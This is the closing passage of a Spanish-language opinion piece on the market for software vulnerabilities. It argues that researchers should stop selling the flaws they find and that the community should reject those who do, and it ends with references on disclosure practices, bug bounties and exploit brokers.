El otro lado de la ecuación reside en los propios investigadores: si nadie vendiera las vulnerabilidades que encontrara, y si el resto de la comunidad repudiara a aquellos que sí que lo hacen, lograríamos de una forma sensible reducir la oferta y/o redirigirla a la iniciativa anterior.

Cierto, el mercado negro aún seguiría actuando (y lo sigue haciendo en la situación actual), y aún tendríamos investigadores que no tendrían problemas éticos o morales en seguir vendiendo sus vulnerabilidades, pero se lograría en cierta medida retomar el control de todo el proceso.

Lo que sí que es cierto es que la situación actual tiene unas perspectivas poco halagüeñas, y es necesario hacer algo al respecto. El cómo (y en este caso muy importante, el cuánto) es algo que tenemos que decidir entre todos.

[1] Zero Day
[2] Full disclosure
[3] Responsibledisclosure
[4] INTECO-CERT
[5] BugCrowd – List of bug bounty programs
[6] Zero day Initiative
[7] Vupen
[8] Lista de precios de vulnerabilidades
[9] The Grugq
[10] Selling exploits for bitcoins in underground market
[11] Scheneier :The Vulnerabilities Market and the Future of Security
[12] BugCrowd
[13] Internet Architecture Board